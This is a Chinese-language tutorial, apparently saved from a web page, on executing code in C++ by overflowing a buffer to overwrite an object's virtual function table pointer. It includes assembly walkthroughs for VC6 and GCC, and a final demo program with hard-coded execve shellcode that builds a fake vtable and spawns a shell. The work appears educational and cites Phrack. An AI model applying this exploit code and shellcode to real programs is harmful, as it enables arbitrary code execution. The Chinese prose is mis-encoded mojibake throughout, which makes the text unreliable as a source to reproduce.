?? c++中通過(guò)溢出覆蓋虛函數(shù)指針列表執(zhí)行代碼.txt
字號(hào):
C++中通過(guò)溢出覆蓋虛函數(shù)指針列表執(zhí)行代碼
目錄:
1. C++中虛函數(shù)的靜態(tài)聯(lián)編和動(dòng)態(tài)聯(lián)編
2. VC中對(duì)象的空間組織和溢出試驗(yàn)
3. GCC中對(duì)象的空間組織和溢出試驗(yàn)
4. 參考
<一> C++中虛函數(shù)的靜態(tài)聯(lián)編和動(dòng)態(tài)聯(lián)編
C++中的一大法寶就是虛函數(shù),簡(jiǎn)單來(lái)說(shuō)就是加virtual關(guān)鍵字定義的函數(shù)。
其特性就是支持動(dòng)態(tài)聯(lián)編。現(xiàn)在C++開(kāi)發(fā)的大型軟件中幾乎已經(jīng)離不開(kāi)虛函數(shù)的
使用,一個(gè)典型的例子就是虛函數(shù)是MFC的基石之一。
這里有兩個(gè)概念需要先解釋:
靜態(tài)聯(lián)編:通俗點(diǎn)來(lái)講就是程序編譯時(shí)確定調(diào)用目標(biāo)的地址。
動(dòng)態(tài)聯(lián)編:程序運(yùn)行階段確定調(diào)用目標(biāo)的地址。
在C++中通常的函數(shù)調(diào)用都是靜態(tài)聯(lián)編,但如果定義函數(shù)時(shí)加了virtual關(guān)鍵
字,并且在調(diào)用函數(shù)時(shí)是通過(guò)指針或引用調(diào)用,那么此時(shí)就是采用動(dòng)態(tài)聯(lián)編。
一個(gè)簡(jiǎn)單例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
int num1;
ClassA(){ num1=0xffff; };
virtual void test1(void){};
virtual void test2(void){};
};
ClassA objA,* pobjA;
int main(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return 0;
}
使用VC編譯:
開(kāi)一個(gè)命令行直接在命令行調(diào)用cl來(lái)編譯: (如果你安裝vc時(shí)沒(méi)有選擇注冊(cè)環(huán)境
變量,那么先在命令行運(yùn)行VC目錄下bin\VCVARS32.BAT )
cl test.cpp /Fa
產(chǎn)生test.asm中間匯編代碼
接下來(lái)就看看asm里有什么玄虛,分析起來(lái)有點(diǎn)長(zhǎng),要有耐心 !
我們來(lái)看看:
數(shù)據(jù)定義:
_BSS SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一個(gè)地址32位
_BSS ENDS
看到objA為64位,里邊存放了哪些內(nèi)容呢? 接著看看構(gòu)造函數(shù):
_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定義了一個(gè)變量 _this ?!
; File test.cpp
; Line 6
push ebp
mov ebp, esp
push ecx
mov DWORD PTR _this$[ebp], ecx ; ecx 賦值給 _this ?? 不明白??
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
; 前面的部分都是編譯器加的東東,我們的賦值在這里
mov ecx, DWORD PTR _this$[ebp]
mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;
; 看來(lái) _this+4就是num1的地址
mov eax, DWORD PTR _this$[ebp]
mov esp, ebp
pop ebp
ret 0
??0ClassA@@QAE@XZ ENDP
那個(gè)_this和mov DWORD PTR _this$[ebp], ecx 讓人比較郁悶了吧,不急看看何
處調(diào)用的構(gòu)造函數(shù):
_$E9 PROC NEAR
; File test.cpp
; Line 10
push ebp
mov ebp, esp
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()
pop ebp
ret 0
_$E9 ENDP
看,ecx指向objA的地址,通過(guò)賦值,那個(gè)_this就是objA的開(kāi)始地址,其實(shí)CLASS中
的非靜態(tài)方法編譯器編譯時(shí)都會(huì)自動(dòng)添加一個(gè)this變量,并且在函數(shù)開(kāi)始處把ecx
賦值給他,指向調(diào)用該方法的對(duì)象的地址 。
那么構(gòu)造函數(shù)里的這兩行又是干什么呢?
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
我們已經(jīng)知道_this保存的為對(duì)象地址: &objA。 那么 eax = &objA
接著就相當(dāng)于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@
來(lái)看看 ??_7ClassA@@6B@ 是哪個(gè)道上混的:
CONST SEGMENT
??_7ClassA@@6B@
DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
DD FLAT:?test2@ClassA@@UAEXXZ
CONST ENDS
看來(lái)這里存放的就是test1(),test2()函數(shù)的入口地址 ! 那么這個(gè)賦值:
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
就是在對(duì)象的起始地址填入這么一個(gè)地址列表的地址。
好了,至此我們已經(jīng)看到了objA的構(gòu)造了:
| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1 | num1變量的空間 |
+--------+ ---> objA的結(jié)束地址 +--->+--------------+ 地址表 vftable
| 高地址 | |test1()的地址 |
+--------------+
|test2()的地址 |
+--------------+
來(lái)看看main函數(shù):
_main PROC NEAR
; Line 13
push ebp
mov ebp, esp
; Line 14
mov DWORD PTR ?pobjA@@3PAVClassA@@A,
OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA
; Line 15
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指針
; 指向調(diào)用者的地址
call ?test1@ClassA@@UAEXXZ ; objA.test1()
; objA.test1()直接調(diào)用,已經(jīng)確定了地址
; Line 16
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ?test2@ClassA@@UAEXXZ ; objA.test2()
; Line 17
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax] ; edx = vftable
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx] ;
; call vftable[0] 即 pobjA->test1() 看地址是動(dòng)態(tài)查找的 ; )
; Line 18
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx+4] ; pobjA->test2()
; call vftable[1] 而vftable[1]里存放的是test2()的入口地址
; Line 19
xor eax, eax
; Line 20
pop ebp
ret 0
_main ENDP
好了,相信到這里你已經(jīng)對(duì)動(dòng)態(tài)聯(lián)編有了深刻印象。
<二> VC中對(duì)象的空間組織和溢出試驗(yàn)
通過(guò)上面的分析我們可以對(duì)對(duì)象空間組織概括如下:
| 低地址 |
+----------+ ---> objA的起始地址 &objA
|pvftable |--------------------->+
+----------+ |
|各成員變量| |
+----------+ ---> objA的結(jié)束地址 +---> +--------------+ 地址表 vftable
| 高地址 | |虛函數(shù)1的地址 |
+--------------+
|虛函數(shù)2的地址 |
+--------------+
| . . . . . . |
可以看出如果我們能覆蓋pvtable然后構(gòu)造一個(gè)自己的vftable表那么動(dòng)態(tài)聯(lián)編就使得
我們能改變程序流程!
現(xiàn)在來(lái)作一個(gè)溢出試驗(yàn):
先寫個(gè)程序來(lái)看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;
int main(void)
{
cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
return 0;
}
用cl編譯運(yùn)行結(jié)果為:
0x00408998:0x00408990:0x00408991:0x00408994
編譯器把buff的地址放到后面了!
把程序改一改,定義變量時(shí)換成:
ClassEx obj1,obj2,* pobj;
int buff[1];
結(jié)果還是一樣!! 不會(huì)是vc就是防著這一手吧!
看來(lái)想覆蓋不容易呀 ; )
只能通過(guò)obj1 溢出覆蓋obj2了
//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
cout << "Why a u here ?!" << endl;
};
ClassEx obj1,obj2,* pobj;
int main(void)
{
pobj=&obj2;
obj2.test();
int vtab[1] = { (int) entry };//構(gòu)造vtab,
//entry的入口地址
obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域
//這里修改了函數(shù)指針列表的地址到vtab
pobj->test();
return 0;
}
編譯 cl ex_vc.cpp
運(yùn)行結(jié)果:
ClassEx::test()
Why a u here ?!
測(cè)試環(huán)境: VC6
看我們修改了程序執(zhí)行流程 ^_^
平時(shí)我們編程時(shí)可能用virtaul不多,但如果我們使用BC/VC等,且使用了廠商提供的
庫(kù),其實(shí)我們已經(jīng)大量使用了虛函數(shù) ,以后寫程序可要小心了,一個(gè)不留神的變量
賦值可能會(huì)后患無(wú)窮。 //開(kāi)始琢磨好多系統(tǒng)帶的程序也是vc寫的,里邊會(huì)不會(huì) ....
<三> GCC中對(duì)象的空間組織和溢出試驗(yàn)
剛才我們已經(jīng)分析完vc下的許多細(xì)節(jié)了,那么我們接下來(lái)看看gcc里有沒(méi)有什么不
一樣!分析方法一樣,就是寫個(gè)test.cpp用gcc -S test.cpp 來(lái)編譯得到匯編文件
test.s 然后分析test.s我們就能得到許多細(xì)節(jié)上的東西。
通過(guò)分析我們可以看到:
gcc中對(duì)象地址空間結(jié)構(gòu)如下:
| 低地址 |
+---------------+ 對(duì)象的開(kāi)始地址
| |
| 成員變量空間 |
| |
+---------------+
| pvftable |----------->+------------------+ vftable
+---------------+ | 0 |
| 高地址 | +------------------+
| XXXXXXXX |
+------------------+
| 0 |
+----------------- +
| 虛函數(shù)1入口地址 |
+------------------+
| 0 |
+----------------- +
| 虛函數(shù)2入口地址 |
+------------------+
| . . . . . . |
哈哈,可以看到gcc下有個(gè)非常大的優(yōu)勢(shì),就是成員變量在pvftable
前面,要是溢出成員變量賦值就能覆蓋pvftable,比vc下方便多了!
來(lái)寫個(gè)溢出測(cè)試程序:
//test.cpp
#include<iostream.h>
class ClassTest
{
public:
long buff[1]; //大小為1
virtual void test(void)
{
cout << "ClassTest test()" << endl;
}
};
void entry(void)
{
cout << "Why are u here ?!" << endl;
}
int main(void)
{
ClassTest a,*p =&a;
long addr[] = {0,0,0,(long)entry}; //構(gòu)建的虛函數(shù)表
//test() -> entry()
a.buff[1] = ( long ) addr;// 溢出,操作了虛函數(shù)列表指針
a.test(); //靜態(tài)聯(lián)編的,不會(huì)有事
p->test(); //動(dòng)態(tài)聯(lián)編的,到我們的函數(shù)表去找地址,
// 結(jié)果就變成了調(diào)用函數(shù) entry()
}
編譯: gcc test.cpp -lstdc++
執(zhí)行結(jié)果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!
測(cè)試程序說(shuō)明:
具體的就是gcc -S test.cpp生成 test.s 后里邊有這么一段:
.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
.p2align 2
.type _vt$9ClassTest,@object
.size _vt$9ClassTest,24
_vt$9ClassTest:
.value 0
.value 0
.long __tf9ClassTest
.value 0
.value 0
.long test__9ClassTest ----------+
.zero 8 |
.comm __ti9ClassTest,8,4 |
|
|
test()的地址 <----+
這就是其虛函數(shù)列表里的內(nèi)容了。
test()地址在第3個(gè)(long)型地址空間
所以我們構(gòu)造addr[]時(shí):
long addr[] = {0,0,0,(long)entry};
就覆蓋了test()函數(shù)的地址 為 entry()的地址
p->test()
時(shí)就跑到我們構(gòu)建的地址表里取了entry的地址去運(yùn)行了
測(cè)試環(huán)境 FreeBSD 4.4
gcc 2.95.3
來(lái)一個(gè)真實(shí)一點(diǎn)的測(cè)試:
通過(guò)溢出覆蓋pvftable,時(shí)期指向一個(gè)我們自己構(gòu)造的
vftable,并且讓vftable的虛函數(shù)地址指向我們的一段shellcode
從而得到一個(gè)shell。
#include<iostream.h>
#include<stdio.h>
class ClassBase //定義一個(gè)基礎(chǔ)類
{
public:
char buff[128];
void setBuffer(char * s)
{
strcpy(buff,s);
};
virtual void printBuffer(void){}; //虛函數(shù)
};
class ClassA :public ClassBase
{
public:
void printBuffer(void)
{
cout << "Name :" << buff << endl;
};
};
class ClassB : public ClassBase
{
public:
void printBuffer(void)
{
cout << "The text : " << buff << endl;
};
};
char buffer[512],*pc;
long * pl = (long *) buffer;
long addr = 0xbfbffabc; // 在我的機(jī)器上就是 &b ^_*
char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
int i;
int main(void)
{
ClassA a;
ClassB b;
ClassBase * classBuff[2] = { &a,&b };
a.setBuffer("Tom");
b.setBuffer("Hello ! This is world of c++ .");
for(i=0;i<2;i++) //C++中的慣用手法,
//一個(gè)基礎(chǔ)類的指針指向上層類對(duì)象時(shí)調(diào)
//用的為高層類的虛函數(shù)
classBuff[i]->printBuffer(); // 這里是正常用法
cout << &a << " : " << &b << endl; // &b就是上面addr的值,
//如果你的機(jī)器上兩個(gè)值不同就改一改addr值吧!
//構(gòu)造一個(gè)特殊的buff呆會(huì)給b.setBuffer
// 在開(kāi)始處構(gòu)造一個(gè)vftable
pl[0]=0xAAAAAAAA; //填充1
pl[1]=0xAAAAAAAA; //填充2
pl[2]=0xAAAAAAAA; //填充3
pl[3]=addr+16; //虛函數(shù)printBuffer入口地址
// 的位置指向shell代碼處了
pc = buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);
for(;pc - buffer < 128 ; *pc++='A'); //填充
pl=(long *) pc;
*pl= addr; //覆蓋pvftable使其指向我們構(gòu)造的列表
b.setBuffer(buffer); //溢出了吧 .
// 再來(lái)一次
for(i=0;i<2;i++)
classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
// 時(shí)一個(gè)shell就出來(lái)了
return 0;
}
bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$ <------ 呵呵,成功了
說(shuō)明:
addr = &b 也就是 &b.buff[0]
b.setBuffer(buffer)
就是讓 b.buff溢出,覆蓋128+4+1個(gè)地址。
此時(shí)內(nèi)存中的構(gòu)造如下:
&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]
____ ^ ___
| | |
| | |
| +---+ | |
| | |
+---------------> 128 <--------------+ |
|
此處即pvftable項(xiàng) ,被溢出覆蓋為 addr <---+
現(xiàn)在b.buff[0]的開(kāi)始處就構(gòu)建了一個(gè)我們自己的虛
函數(shù)表,虛函數(shù)的入口地址為shellcode的地址 !
本文只是一個(gè)引導(dǎo)性文字,還有許多沒(méi)
有提到的細(xì)節(jié),需要自己去分析。
俗話說(shuō)自己動(dòng)手豐衣足食 *_&
<四> 參考
Phrack56# << SMASHING C++ VPTRS >>
?? 快捷鍵說(shuō)明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -